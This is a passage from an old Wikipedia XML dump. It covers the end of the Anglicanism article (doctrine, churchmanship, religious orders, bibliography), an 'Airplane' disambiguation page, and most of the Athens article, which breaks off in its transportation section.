protestant denominations while remaining part of the Anglican Communion and indeed bringing their Presbyterian and other historically non-Anglican fellows along with them. As a percentage of the total population these united churches are not significant but numerically they are very substantial other than in Bangladesh.  See [[Church of North India]], [[Church of South India]], [[Church of Pakistan]] and [[Church of Bangladesh]].

==Doctrine==

Anglicans look for authority (in the formula of [[Richard Hooker (theologian)|Richard Hooker]]) in the experience of Scripture, Reason, and Tradition (the practices and writings of the historical church). While it is often taught that these three are of equal value (using an image of a three-legged stool), the Anglican formularies have always pointed out that:

::&quot;Scripture containeth all things necessary to salvation: so that whatsoever is not read therein, nor may be proved thereby, is not to be required of any man, that it should be believed as an article of the Faith, or be thought requisite or necessary to salvation.&quot; (Article VI, The [[Thirty-nine Articles|Anglican Thirty-nine Articles of Religion]]).

Historically, Anglicans have regarded the [[Bible]], the three Creeds ([[Nicene Creed]], [[Apostles' Creed]], and [[Athanasian Creed]]), the [[Thirty-Nine Articles]] of Religion and the [[Book of Common Prayer]] (1662) as the principal norms of doctrine. Thus, some have said that the Anglican Church retains much of the liturgy of the Roman Catholic Church, but is tolerant of [[Reformed]] doctrine.  This state of affairs is a consequence of the [[Elizabethan Religious Settlement]]. The traditional liturgy of Anglicanism, the 1662 Book of Common Prayer, has been considered &quot;too Catholic&quot; by those of Puritan leanings in the 16th century and Evangelicals in later periods, and &quot;too Evangelical&quot; by those of [[Anglo-Catholicism|Anglo-Catholic]] leanings.

This distinction is routinely a matter of debate both within specific Anglican Churches and throughout the Anglican Communion by members themselves. Since the [[Oxford Movement]] of the mid-19th century, many churches of the Communion have embraced and extended liturgical and pastoral practices dissimilar with most Reformed Protestant theology. This extends beyond the ceremony of [[High Church]] services to even more theologically significant territory. Some Anglican clergy practise all seven of the [[sacraments]] in a marked way, in departure from the teaching of early Protestant thinkers like [[John Calvin]] and [[Martin Luther]], even though opinions vary about the best way to understand these &quot;sacramental rites&quot;. For example, some Anglican clergy will hear private confessions from their parishioners, a practice widely discontinued in Protestant denominations. Nevertheless, while Anglo-Catholic practices, particularly liturgical ones, have become much more mainstream within the denomination over the last century, there remain many areas where practices and beliefs remain on the more Protestant or Evangelical side of the debate.

==Churchmanship==

Anglicanism has always been characterised by diversity in theology and the ceremonial (or lack thereof) of the liturgy. Different individuals, groups, parishes, dioceses, and national churches may identify more with Catholic traditions and theology or, alternatively, with the principles of Evangelicalism. 

Some Anglicans follow such devotional practices common among Roman Catholics as solemn benediction of the reserved sacrament, use of the [[rosary]], or of [[anglican prayer beads]], and prayer to the departed saints, which is contrary to the teaching of some of the English Reformers. Some give greater weight to the [[deuterocanonical books|deuterocanonical]] books of the Bible. (See [[Biblical canon]].)  Officially, Anglican teaching is that these books may be read in church for their instruction in morals, but not used to establish any doctrine. In recent years, prayer books (or &quot;alternate services&quot; books) of several countries have, out of deference to a greater agreement with Eastern [[Conciliarism]] (and a perceived greater respect accorded Anglicanism by Eastern Orthodoxy than by Roman Catholicism), instituted a number of historically Eastern and [[Oriental Orthodox]] elements in their liturgies, including replacing the [[Gloria in excelsis]] with the [[Trisagion]] and deleting the [[filioque]] from the [[Creed]]. 

For their part, those Anglicans who emphasise the Reformed-Protestant nature of the Church stress the Reformation themes of [[Salvation#Christian views of salvation|salvation]] by grace through faith, the two dominical sacraments of the Gospel, and Scripture as containing all that is necessary to salvation in an explicit sense. 

The range of Anglican belief and practice became particularly divisive during the 19th century, as the [[Anglo-Catholicism | Anglo-Catholic]] and [[Evangelicalism|Evangelical]] movements emphasised the more Catholic or the more Reformed sides of Anglican Christianity.  These groups or &quot;parties&quot; are still often equated with the terms &quot;High Church&quot; and &quot;Low Church&quot;, and these terms are commonly used to speak of the level of ceremony that is favoured. These terms are also used to discuss the theological place of the organised church within the Body of Christ.

The spectrum of Anglican beliefs and practice is too large to be fit into these labels.  Most Anglicans are broadly Evangelical and Catholic and, in fact, stress that Anglicanism, rightly understood, is western Christianity's &quot;[[Via Media]]&quot; (middle way) between what were considered medieval &quot;excesses&quot; of Roman Catholicism and the &quot;excesses&quot; of the fervent European Continental Protestantism, represented strongly by Geneva.  Via Media may also be understood as underscoring Anglicanism's preference for a communitarian and methodological approach to theological issues rather than either total relativism on the one hand or dogmatic absolutism on the other.

The nineteenth century saw new heights of intellectual activity in the Anglican Church. Since that time, the theological contributions of the Church to the wider spectrum of Christian thought have declined somewhat, though there is some resurgence on Anglicanism's theological left. Another recent trend has been the emergence of fundamentalism in some strands of Anglicanism. Fundamentalism, seen as an anti-intellectual movement, rejects all but the most literal readings of the Bible. This controversial doctrine is regarded by most as highly divisive, rejecting all prior tradition and is seen by its critics as a reactionary measure by those who cannot cope with the relativisation of truth that has been a predominant feature of the post-modernist epoch. Traditionally, Anglicanism had been associated with the English university systems and hence, the literary criticism produced in those organisations has been applied to the study of ancient scriptures, although not uncritically.

==Social issues==

A question of whether or not Christianity is a pacifist religion has remained a matter of debate for Anglicans. In 1937, the Anglican Pacifist Fellowship emerged as a distinct reform organisation, seeking to make pacifism a clearly defined part of Anglican theology. The group rapidly gained popularity amongst Anglican intellectuals, including [[Vera Brittain]], [[Evelyn Underhill]] and former British political leader [[George Lansbury]].

Whilst never actively endorsed by the Anglican Church, many Anglicans unofficially have adopted the Augustinian &quot;[[the Just War Theory|Just War]]&quot; doctrine. The Anglican Pacifist Fellowship remain highly active and rejects this doctrine. The Fellowship seeks to reform the Church by reintroducing the [[pacifism]] inherent in the beliefs of many of the earliest Christians and present in their interpretation of Christ's [[Sermon on the Mount]]. Confusing the matter all the more however, is that the 37th Article of Religion states clearly that &quot;it is lawful for Christian men, at the commandment of the Magistrate, to wear weapons, and serve in the wars.&quot;

==Religious life==

A small yet influential aspect of Anglicanism is its [[religious order]]s of [[monk]]s and [[nun]]s. Shortly after the beginning of the revival of the [[Anglo-Catholicism|Catholic Movement]] in the Church of England, there was felt to be a need for some Anglican [[Sisters of Charity]]. In the 1840s Mother [[Priscilla Lydia Sellon]] became the first woman to take the vows of religion in communion with the [[Province of Canterbury]] since the Reformation, and a series of letters were exchanged publically between her and the Rev. James [[Spurrell]], Vicar of Great Shelford, Cambs., who criticised Miss Sellon's Sisters of Mercy. From the 1840s and throughout the next hundred years, religious orders for both men and women proliferated in the [[UK]], the [[United States]], [[Canada]], and [[India]], as well as in various countries of [[Africa]], [[Asia]], and the [[Pacific]].

Anglican religious life at one time boasted hundreds of orders and communities, and thousands of [[religious]]. An important aspect of Anglican religious life is that most communities of both men and women lived their lives consecrated to [[God]] under the [[vow]]s of [[poverty]], [[sexual abstinence|chastity]] and [[obedience]] (or in [[Benedictine]] communities, Stability, Conversion of Life, and Obedience) by practicing a mixed life of reciting the full eight services of the [[Breviary]] in choir, along with a daily [[Eucharist]], plus service to the poor. The mixed life, combining aspects of the [[contemplative order]]s and the [[active order]]s remains to this day a hallmark of Anglican religious life.

Since the 1960s there has been a sharp falling off in the numbers of religious in most parts of the Anglican Communion, just as in the Roman Catholic Church. Many once large and international communities have been reduced to a single convent or monastery comprised of elderly men or women. In the last few decades of the 20th century, novices have for most communities been few and far between. Some orders and communities have already become extinct.

There are however, still several thousand Anglican religious working today in approximately 200 communities around the world.

The most significant growth has been in the [[Melanesia]]n countries of the [[Solomon Islands]], [[Vanuatu]] and [[Papua New Guinea]]. The [[Melanesian Brotherhood]], founded at [[Tabalia]], [[Guadalcanal (Pacific Ocean island)|Guadalcanal]], in [[1925]] by Ini Kopuria, is now the largest Anglican Community in the world with over 450 [[monk|brother]]s in the Solomon Islands, Vanuatu, Papua New Guinea, the [[Philippines]] and the United Kingdom. The [[Sisters of the Church]], started by Mother Emily Ayckbown in England in 1870, has more [[nun|sisters]] in the Solomons than all their other communities. The [[Community of the Sisters of Melanesia]], started in 1980 by Sister Nesta Tiboe, is a growing community of women throughout the Solomon Islands. The [[Society of Saint Francis]], founded as a union of various [[Franciscan]] orders in the 1920s, has experienced great growth in the Solomon Islands. Other communities of religious have been started by Anglicans in Papua New Guinea and in Vanuatu. Most Melanesian Anglican religious are in their early to mid 20s -- vows may be temporary and it is generally assumed that brothers, at least, will leave and marry in due course -- making the average age 40 to 50 years younger than their brothers and sisters in other countries. This growth is especially surprising because celibacy was not regarded as a Melanesian virtue; on the other hand, it is perhaps more accurate to conceptualise Melanesian religious as youth volunteers than as monastic orders on the medieval European model.

== Bibliography ==

* {{cite book
 | first = Norman | last = Doe
 | year = 1998
 | title = Canon Law in the Anglican Communion: A Worldwide Perspective
 | location = [[Oxford]]
 | publisher = Clarendon Press
 | id = ISBN 0198267827  
 }}

* {{cite book
 | author = Hein, David (compiler)
 | authorlink = David Hein
 | year = 1991
 | title = Readings in Anglican Spirituality
 | location = Cincinnati
 | publisher = Forward Movement Publications
 | id = ISBN 0880281251
 }}

* {{cite book
 | author = Hein, David, and Gardiner H. Shattuck Jr.
 | year = 2005
 | title = The Episcopalians
 | location = New York
 | publisher = Church Publishing
 }}

* {{cite book
 | first = R.C.D. | last = Jasper
 | authorlink = R.C.D. Jasper
 | year = 1989
 | title = The Development of the Anglican Liturgy, 1662-1980
 | location = London
 | publisher = SPCK
 }}

* {{cite book
 | author = More and Cross
 | title = Anglicanism
 }}

* {{cite book
 | first = Stephen | last = Neill
 | authorlink = Stephen Neill
 | title = Anglicanism
 }}

* {{cite book
 | first = William L. | last = Sachs
 | authorlink = William L. Sachs
 | year = 1993
 | title = The Transformation of Anglicanism: From State Church to Global Community
 | location = [[Cambridge]]
 | publisher = Cambridge University Press
 }}

* {{cite book
 | author = [[Stephen Sykes|Sykes, Stephen]], [[John Booty|Booty, John]], &amp; [[Jonathan Knight (theologist)|Knight, Jonathan]], (eds.)
 | title = The Study of Anglicanism
 | location = Minneapolis, MN
 | publisher = Fortress Press
 }}

* {{cite book
 | first = William | last = Temple
 | authorlink = William Temple
 | title = Doctrine in the Church of England
 }}

==See also==  

*[[Marian exiles]]
*[[Congregationalism]]
*[[Continuing Anglican Movement]]
*[[Anglican Use]]
*[[Anglican prayer beads]]
*[[Anglican Church of Canada]] 
*[[Anglican Church of Australia]]
*[[Sydney Anglicans]]
*[[Christianity]]
*[[Christian apologetics]]
*[[Morning Prayer]]
*[[Evensong]]
*[[Methodism]]
*[[Presbyterianism]]
*[[Puritans]]
*[[Baptists]]
*[[Episcopal Church in the United States]]
*[[United and uniting churches]]
**[[Church of South India]]
**[[Church of North India]]
**[[Church of Pakistan]]
**[[Church of Bangladesh]]

== External links ==

*[http://www.anglicancommunion.org Anglican Communion] - The official site of the Anglican Communion.
*[http://www.cofe.anglican.org/faith/anglican/ What it means to be an Anglican: Official CofE site]
*[http://www.anglicansonline.org Anglicans Online] - An unofficial site of the Anglican Communion. One of the biggest resources of Anglicanism in the world.
*[http://justus.anglican.org/resources/pc/ Anglican historical texts]
*[http://www.religionfacts.com/christianity/denominations/anglicanism.htm Anglicanism: ReligionFacts.com] - Articles on Anglican  history, ritual, and organisation, plus an image gallery of people and places.
*[http://www.anglicanpeacemaker.org.uk/ Anglican Pacifist Fellowship] - The official site of the Anglican Church's peace movement.

{{Anglican Churches}}

[[Category:Anglicanism|*]]
[[Category:Religion in the United Kingdom]]
[[Category:Christian denominations]]
[[Category:Protestantism]]

[[ca:Anglicanisme]]
[[cs:Anglikánství]]
[[de:Anglikanismus]]
[[es:Anglicanismo]]
[[eo:Anglikanismo]]
[[fr:Anglicanisme]]
[[ko:성공회]]
[[ia:Anglicanismo]]
[[it:Anglicanesimo]]
[[he:אנגליקניות]]
[[nl:Anglicaanse Kerk]]
[[ja:聖公会]]
[[no:Den anglikanske kirke]]
[[pl:Anglikanizm]]
[[ru:Англиканская церковь]]
[[fi:Anglikaanikirkko]]
[[scn:Chiesa Anglicana]]
[[sv:Anglikanska kyrkogemenskapen]]
[[vi:Anh giáo]]
[[zh:聖公會]]</text>
    </revision>
  </page>
  <page>
    <title>Airplane (disambiguation)</title>
    <id>1215</id>
    <revision>
      <id>40510443</id>
      <timestamp>2006-02-21T02:28:42Z</timestamp>
      <contributor>
        <username>Ceyockey</username>
        <id>150564</id>
      </contributor>
      <minor />
      <comment>revisions for style</comment>
      <text xml:space="preserve">The term '''airplane''' typically refers to any [[fixed-wing aircraft]], also known internationally as ''aeroplane''.

'''Airplane''' has several additional meanings:
* ''[[Airplane!]]'', a 1980 American comedy film
* [[Jefferson Airplane]], often referred to as &quot;Airplane&quot;, an American rock music band

{{Wiktionarypar2|aeroplane|airplane}}
{{disambig}}</text>
    </revision>
  </page>
  <page>
    <title>Athens</title>
    <id>1216</id>
    <revision>
      <id>41947106</id>
      <timestamp>2006-03-02T20:37:05Z</timestamp>
      <contributor>
        <ip>217.9.28.30</ip>
      </contributor>
      <comment>/* 20th century architecture in Athens */</comment>
      <text xml:space="preserve">{{dablink|This is an article about the capital of Greece. For other uses see [[Athens (disambiguation)]].}}
{{Infobox Town GR
  |name = Athens
  |name_local = Αθήνα 
  |image_coa =  
  |image_map = GreeceAttica.png
  |periph = [[Attica]]
  |prefec = [[Athens Prefecture|Athens]]
  |province = 
  |population = 745,514  
  |population_as_of = 2001 
  |population_ref =  [http://www.statistics.gr/gr_tables/S1100_SAP_1_monimos2001.htm source]  
  |pop_dens = 19,133
  |area =  39.0
  |elevation = 70
  |lat_deg = 38
  |lat_min = 0
  |lat_hem = N
  |lon_deg = 23
  |lon_min = 43
  |lon_hem = E
  |postal_code = 10x xx, 11x xx, 120 xx
  |area_code = 210
  |licence = Y, Z
  |mayor = Theodoros Mpehrakis
  |website = [http://www.cityofathens.gr www.cityofathens.gr]
}}
'''Athens''' ([[Greek language|Greek]]: Αθήνα ''Athína'' [[International Phonetic Alphabet|IPA]] {{IPA|/a'θina/}}) is the [[capital]] of [[Greece]] and one of the most famous cities in the world. Modern Athens is a large and cosmopolitan city; Ancient Athens was a powerful [[city-state]] and renowned centre of learning. It was named after its  goddess from ancient Greek mythology, [[Athena]]. Athens is located at {{coor dm|38|00|N|23|43|E|}} (38.00°, 23.72°).

The metropolitan area of Athens is home to some 3.9 million people. Currently the city (metropolitan area) is growing northwards and eastwards across [[Attica]] (Greater Athens). Athens is the dominant centre of economic, cultural, and political life in Greece today.

Ancient Athens has often been called the cradle of [[Western civilization]] due to the impact of its cultural and political achievements during the 4th and 5th centuries BC. This heritage has left it with a number of ancient buildings, monuments and artworks, the most famous being the [[Parthenon]] on the [[Acropolis]], widely regarded as one of the finest examples of Classical Greek art and architecture. Many of these cultural landmarks were renovated for the [[2004 Olympic Games]].
[[image:ac.parthenon5.jpg|thumb|right|250px|The [[Parthenon]] seen from the hill of the Pnyx to the west]]

==Name==
{{nameWikt}}

In [[ancient Greek|ancient]] [[Greek language|Greek]], the name of Athens was '''{{Polytonic|&amp;#7944;θ&amp;#8134;ναι}}'''-''Athenai'', plural of {{Polytonic|&amp;#7944;θηνά}}-''Athene'', the Greek name of the Goddess [[Athena]]. The city's name was used in the plural like those of {{Polytonic|Θ&amp;#8134;βαι}}-''Thebai'' ([[Thebes, Greece|Thebes]]) and {{Polytonic|Μυκ&amp;#8134;ναι}}-''Mykenai'' ([[Mycenae]]) because it consisted of several parts. In the [[19th century]], this name was formally re-adopted as the city's name. Since the official abandonment of [[Katharevousa]] Greek in the [[1970s]], however, the popular form ''Athínai'' has become the city's official name. See also a list of [[Names of European cities in different languages#A|alternative names]] for Athens.

==History==
''Main article: [[History of Athens]]''
[[Image:Map Athens MKL1888.png|thumb|1888 German map of Athens]]
Athens was the leading city in Greece during the greatest period of Greek civilization during the [[1st millennium BC]]. During the &quot;Golden Age&quot; of Greece (roughly [[500 BC]] to [[300 BC]]) it was the world's leading cultural, commercial and intellectual center, and indeed it is in the ideas and practices of ancient Athens that what we now call &quot;Western civilization&quot; has its origins. In 431 B.C, Athens went to war with another city-state, Sparta. Due to its losses during a plague, Athens was defeated by Sparta, and its walls were pulled down.

The schools of philosophy were closed in AD [[529]] by the Christian [[Byzantine Empire]], which disapproved of the schools' [[Paganism|pagan]] thinking. During the Byzantine era, Athens gradually lost a great deal of status and, by the time of the [[Crusades]], it was already reduced to a provincial town. It faced a crushing blow between the 13th and 15th centuries, when the city was fought over by the Greek Byzantines and the 'French' and Italian [[Crusaders]]. In [[1458]] the city fell to the [[Ottoman Empire]] under Sultan [[Mehmed II|Mehmet II the Conqueror]]. As the Emperor entered the city, he was greatly struck by the beauty of its ancient monuments and issued a [[firman]] (imperial decree) that Athens' ruins not be disturbed, on pain of death. The [[Parthenon]] was in fact converted into a [[mosque]] and therefore preserved.

Despite the Sultan's good intentions to preserve Athens as a model Ottoman provincial capital, the city's population went into decline and conditions worsened as the Ottoman Empire declined from the late 17th Century. As time went by, the Ottoman administration slackened its care for Athens' old buildings; the Parthenon/Mosque was used as a warehouse for ammunition during the Venetian siege of Athens in [[1687]], and consequently the temple was severely damaged when a Venetian [[projectile|shell]] targeted the site and set off several casks of gunpowder stored inside the Parthenon/Mosque.

The Ottoman Empire relinquished control of Athens after the [[Greek War of Independence]]. The city was inhabited by just around 5,000 people at the time it was adopted as the capital of the newly established Kingdom of Greece on [[18 September]] [[1834]]. During the next few decades the city was rebuilt into a modern city adhering mainly to the [[neoclassical architecture|Neoclassic style]]. In [[1896]] Athens became the first host city of the revived [[1896 Summer Olympics]].The next large expansion occurred in the [[1920s]] when suburbs were created to house Greek refugees from [[Asia Minor]]. During [[World War II]] the city was occupied by [[Germany]] and fared badly in the war's later years. After the war the city started to grow again, this time into a concrete jungle, seeing the near total destruction of its Neoclassical heritage.

==Location and setting==
&lt;!-- Unsourced image removed: [[Image:ZAPPION.jpg|thumb|left|The Zappion; a conference centre designed by [[Theofil Hansen]] in 1870, is surrounded by extensive gardens]] --&gt;

[[Image:Mk01n101.jpg|thumbnail|The Academy, designed by [[Theofil Hansen]] and completed in 1885, is flanked by the National Library and the University of Athens.]]

Along with its numerous suburbs, Athens has a population of about 3.9 million representing approximately one third of the total population of Greece. Athens grew rapidly in the years following [[World War II]] until ca. 1980 and suffered from overcrowding and traffic congestion. Greek entry into the [[EEC]] in [[1981]] brought new, unprecedented investment into the city along with problems of increasingly worsening industrial congestion and air pollution. Throughout the 1990s the city's authorities undertook a series of decisive measures in order to combat the smog which used to form over the city, particularly during the hottest days of the year. Even though Athens is considered the most polluted capital in Europe, those measures proved to be successful and nowadays smog or ''nefos'' in Greek is less of an issue for Athens, even when temperatures soar above 40 C. As far as the situation with the traffic congestion is concerned, the latter has been considerably improved, even though it is not resolved as yet. Part of this improvement is attributed both to the transformation of the once highly problematic Kiffissos Avenue into a modern, 8 lane urban motorway that stretches for more than 11 km along the ancient [[Kifissos]] River, linking many of Athens' western suburbs, from [[Peristeri]] to the port of [[Piraeus]] and to the construction of the [[Attiki Odos]] motorway. Nevertheless Athens is still not a driver-friendly city. Today Athens is a vibrant metropolis with improved infrastructure, world-class ancient monuments and museums, a legendary nightlife and increasing number of shopping malls.

Athens sprawls across the central plain of [[Attica]], which is bound by Mount [[Aegaleo]] in the west, Mount [[Parnitha]] in the north, Mount [[Penteli]] in the northeast, Mount [[Hymettus]] in the east, and the [[Saronic Gulf]] in the southwest. Athens has expanded to cover the entire plain making it difficult to significantly grow further in size in the future due to the forementioned existing natural boundaries. The geomorphology of the city frequently causes the so called [[temperature inversion]] phenomenon that was partly responsible for the air pollution problems Athens faced in the recent past. ([[Los Angeles, California|Los Angeles]] has similar geomorphology and similar problems).

The ancient site of the city is centered on the rocky hill of the [[Acropolis]]. In ancient times the port of [[Piraeus]] (modern name Pireas) was a separate city, but it has now been absorbed into greater Athens.

The centre of the city is [[Syntagma Square]] (Constitution Square), site of the former Royal Palace, now the [[Hellenic Parliament|Greek Parliament]] and other 19th century public buildings. This is essentially the core of the city, the place where most of the famous ancient monuments are located, all within a radius of 2 km.
[[Image:Panorama_of_Athens.jpg|thumbnail|320px|Panorama of Athens, showing the [[Acropolis]] and other ancient sites.]] 
Athens was the host of the [[2004 Summer Olympics]]. Athens was also the host of the [[1896 Summer Olympics]] and of the [[1906 Summer Olympics|1906 Intercalated Games]].

==Tourist attractions==
Athens has been a popular [[tourist destination]] even since antiquity. Visitors from all over the globe have always been eager to visit its famous ancient monuments. Over the past decade, the infrastructure and social amenities of Athens have been radically improved as a result of the city's successful bid to stage the [[2004]] [[Olympic Games]]. The Greek state, aided by the [[European Union|E.U.]], has poured money into infrastructure projects such as the new, state of the art [[Eleftherios Venizelos Airport|&quot;Eleftherios Venizelos&quot; International Airport]], the massive expansion of the [[Athens Metro|Metro]] system, and the new [[Attiki Odos]] ring-road. As a result, the numbers of international visitors are only expected to rise even further in the coming years. Currently, Athens is the 6th most visited capital in Europe.

Athens  is home to a vast number of 5 and 4 star hotels, some of which were refurbished ahead of the 2004 Olympics. Entire parts of the downtown area have also been redeveloped under a masterplan called &quot;Unification of Archaeological Sites of Athens&quot; [http://www.astynet.gr/index.asp]. In one of the most important projects of the scheme, the famous Dionysiou Aeropagitou street has been pedestrianized thus forming a fascinating scenic route. The route starts from the [[Temple of Olympian Zeus]] at Vasilissis Olgas Avenue, continues under the southern slopes of the [[Acropolis]] near [[Plaka]] and finishes just outside the [[Temple of Hephaestus]] in [[Theseum]]. This remarkable route provides the visitors breathtaking views of the [[Parthenon]] and the [[ancient Agora of Athens|Agora]] (the meeting point of ancient Athenians), away from the bustle and hustle of the city centre. Near Syntagma Square (described above) stands the highly impressive [[Kallimarmaro]] Stadium, the place where the first modern [[1896 Summer Olympics|Olympic Games]] took place in [[1896]]. It is a replica of the ancient Athens Stadium. It holds a special interest, not only for romantic reasons but also because it is the only major stadium (60,000 spectators) made entirely of white marble from [[Penteli]], the same as the one used for the construction of the Parthenon.

&lt;!-- Image with unknown copyright status removed: [[Image:Kallimarmaron.jpg|thumb|200px|right|Kallimarmaro Stadium of Athens]] --&gt;
The city's classic museums like the National Archaeological [[Museum]] at Patission Street (which holds the world's greatest collection of [[Greek art]]), the Benaki Museum in Piraeus Street (including its new Islamic Art branch) [http://www.benaki.gr], the Byzantine Museum, or the Museum of Cycladic Art in the Kolonaki district (strongly recommended for its collection of elegant white metamodern figures, more than 3,000 years old) [http://www.cycladic-m.gr], were all renovated ahead of the 2004 Olympics. A new Acropolis Museum is being built [http://www.culture.gr/2/21/215/21502/e21509c.html] in the central Makriyanni district according to a design by acclaimed Swiss-french architect [[Bernard Tschumi]]. Not to be missed is also the very impressive Athens [[Planetarium]] [http://www.eugenfound.edu.gr], considered to be among the world's best.

The old campus of the [[University of Athens]], located in the middle section of Panepistimiou Avenue, is one of the finest buildings in the city. This combined with the adjacent National Library and the Athens Academy form the imposing &quot;Athens Trilogy&quot;, built in the mid-19th century. However, most of the university's functions have been moved to a much larger, modern campus located in the eastern suburb of [[Zografou|Zográfou]]. The second most significant academic institution of the city is the [[National Technical University of Athens|Athens Polytechnic School]] (''Ethniko Metsovio Politechnio''), located in Patission Street. More than 20 students were killed inside the School in [[November 17]],[[1973]] during the [[Athens Polytechnic Uprising]] against the military junta that ruled the nation from [[April 21]], [[1967]] untill [[July 23]], [[1974]].

'''Entertainment''' and '''night life''': Athens is full of possibilities, catering for most tastes and cultures. To begin with, it has a large number of multiplex, but especially unique, open air garden cinemas; it enjoys more theatres than any other European city (including ancient marble ones that are home to the Athens Festival [http://www.hellenicfestival.gr/site/index_en.htm] from May to October) and many music venues including a state of the art [[music]] hall known as the &quot;Megaron Moussikis&quot; [http://www.megaron.gr] that attracts world-famous artists all year round. The Athens coastline, extending from the major commercial port of [[Piraeus]] to the southernmost suburb of Vouliagmeni for more than 25 km, is also connected to the city centre with a (very slow) tram and it boasts a series of high class restaurants, cafes, exciting music venues and sports facilities. In addition, Athens is packed with trendy and fashionable bars and nightclubs that are literally crowded by the city's youth on a daily basis. Especially during the summer, the southern elegant suburbs of [[Glyfada]], [[Voula]] and [[Vouliagmeni]] become home to countless such places, situated all along Poseidonos and Alkyonidon Avenues. 

Turning now to the city centre, the Psiri neighborhood - aka Athens' 'meat packing district'- has acquired many new mainstream bars, thus becoming a hotspot for many glitratti. It also features a number of live music restaurants called &quot;rebetadika&quot;, after [[rebetiko]], a unique kind of music that blossomed in [[Syros]] and Athens from the 1920's till the 1960's. [[Rebetiko]] is admired by many, therefore virtually every night rebetadika get crammed by people of all ages that will sing, dance and drink wine until the dawn. [[Plaka]] remains the traditional top tourist destination, with many [[taverna]]s featuring 'traditional' music, but the food, though very good, is often more expensive compared to other parts of the city. Plaka, lying just beneath the Acropolis, is famous for its numerous neoclassic buildings, making it one of the most scenic districts in central Athens. Monastiraki, on the other hand, is famous for its string of small tourist shops as well as its crowded flea market and the tavernas that specialize in [[souvlaki]]. Another district notably famous for its student-crammed, stylish cafes is [[Theseum]], lying just west of  [[Monastiraki]]. Theseum, or Thission is home to the remarkable ancient [[Temple of Hephaestus]], standing on top of a small hill. The Gazi area, one of the latest in full redevelopment, is located around a historic gas factory in downtown Athens, that has been converted into the ''Technopolis'' (Athens's new cultural multiplex) for all the family and has a number of expensive small clubs, bars and restaurants as well as Athens' nascent gay ;village'.

The chic [[Kolonaki]] area, near Syntagma Square, is full of boutiques catering to well-heeled customers by day and bars and restaurants by night. Ermou Street, an approximately 1 km pedestrian road connecting [[Syntagma Square]] to [[Monastiraki]], has traditionally been considered a consumer paradise for both the Athenians and foreign tourists. Full of fashion shops  and shopping centers featuring most international brands, it has become one of the most expensive roads in [[Europe]]. Huge malls such as the &quot;Attica&quot; mall in Panepistimiou Avenue and &quot;The Mall Athens&quot; [http://www.themallathens.gr] located in the classy northern suburb of [[Maroussi]] also offer an enormous variety of international selections that can totally satisfy even the most demanding customer. Some central areas (mostly just south of [[Omonoia Square]]) are mainly peopled by immigrants and are therefore full of colorful ethnic restaurants and shops. [[Image:Lykavittos uncropped.jpg|thumb|right|A panoramic view of Athens from the Lykavittos Hill.]]
Casinos operate on both Mount Parnitha, some 30 km from downtown Athens (accessible by car or cable car) and the nearby town of [[Loutraki]] (accessible by car via the Athens - Corinth National Highway or the suburban railway). An entirely new attraction is the massively upgraded main Olympic Complex (known by its Greek acronym OAKA). The whole area has been redeveloped under designs by the Spanish architect [[Santiago Calatrava]] with steel arches, lanscaped gardens, fountains, futuristic passages and a landmark new blue glass roof which was added to the main Stadium. A second olympic complex, next to the sea at the beach of [[Kallithea]] (Faliron), also boasts futuristic stadiums, shops and an elevated esplanade.

Many of Athens' southern suburbs (such as [[Alimos]], [[Palaio Faliro]], [[Elliniko]], [[Voula]], [[Vouliagmeni]] and [[Vari]]) host a number of beautiful, sandy beaches, most of which are  operated by the Hellenic Tourism Organization [http://www.gnto.gr]. This means that one has to pay a fee in order to get in. None the less, this fee is not expensive in most cases and it includes a number of related, convenient services like parking facilities, coctail drinks and umbrellas. These beaches are extremely popular in the summer by both Athenians and foreign tourists. The city is also surrounded by four easily accessible mountains (Parnitha and Penteli to the north, Hemmettus to the southeast and Egaleo to the west). Mount Parnitha, in particular, is the tallest of all (1,453 m) and it has been declared a protected National Park. It has tens of well-marked paths, gorges, springs, torrents and caves and you may even meet deer or bears while exploring its dense forests. Hiking and mountain biking in all four mountains have been and still remain popular outdoor activities for many Athenians. What is more, [[Lykavittos]] is the tallest hill of the city that, according to an ancient legend, was actually a boulder thrown down by Goddess Athena. Located in the city center, near Alexandras' and Vassilisis Sofia's Avenues, it offers magnificent, literally breathtaking views of sprawling Athens that lies underneath. On top of it, stands the picturesque St. George's church which is definitely a must-see. The nearby islands of [[Salamis Island|Salamina]], [[Aegina|Aigina]], [[Poros]], [[Hydra, Saronic Islands|Hydra]] and [[Spetses]] are also sites of spectacular natural beauty and historical architecture. Work is underway to transform the grounds of the old Athens Airport - named [[Ellinikon International Airport|Hellinikon]] - in the southern suburbs into a massive landscaped park (considered to be the largest in Europe when ready). The Athens municipality maintains a site of tourist interest: http://www.cityofathens.gr/

=== 20th century architecture in Athens ===
*East terminal by [[Eero Saarinen]], at former  Hellenikon airport, 1960-63 

*American embassy by [[Walter Gropius]], at Vassilis Sophias Avenue, 1961 

*[[Athens Olympic Sports Complex]], by [[Santiago Calatrava]] ([[2001]]-[[2004]]) ([http://users.auth.gr/~lvorgias/ sketches and models])

*National Bank at Aiolou Str./Sopholeous Str. by [[Mario Botta]] in 2002

*Bridge at Metro-station Katehaki by [[Santiago Calatrava]] ([[2004]])

*New Acropolis Museum by [[Bernard Tschumi]] ([[2001]]-[[2006]])

==Transportation==
[[Image:Athens-Transport-Map-All.png|thumb|right|A Greek map of the greater Athens area shows the metro, tram, and suburban railway lines as well as the Eleftherios Venizelos Airport and the various Olympic facilities.]]
&lt;!-- Image with unknown copyright status removed: [[Image:Athens_airport_new.jpg|right|thumb|200px|New Athens Airport named after the politician [[Eleftherios Venizelos]]]] --&gt;
&lt;!-- Image with unknown copyright status removed: [[Image:Attiki_odos_flyover.jpg|right|thumb|200px|Attiki Odos Motorway]] --&gt;
The [[public transport]] system in Athens consists of [[bus]][http://www.oasa.gr], [[metro]][http://www.ametro.gr/], [[tram]][http://linuxweb.internet.gr/tramsa/html/gr/index.php] and suburban railway [http://www.proastiakos.gr] services.

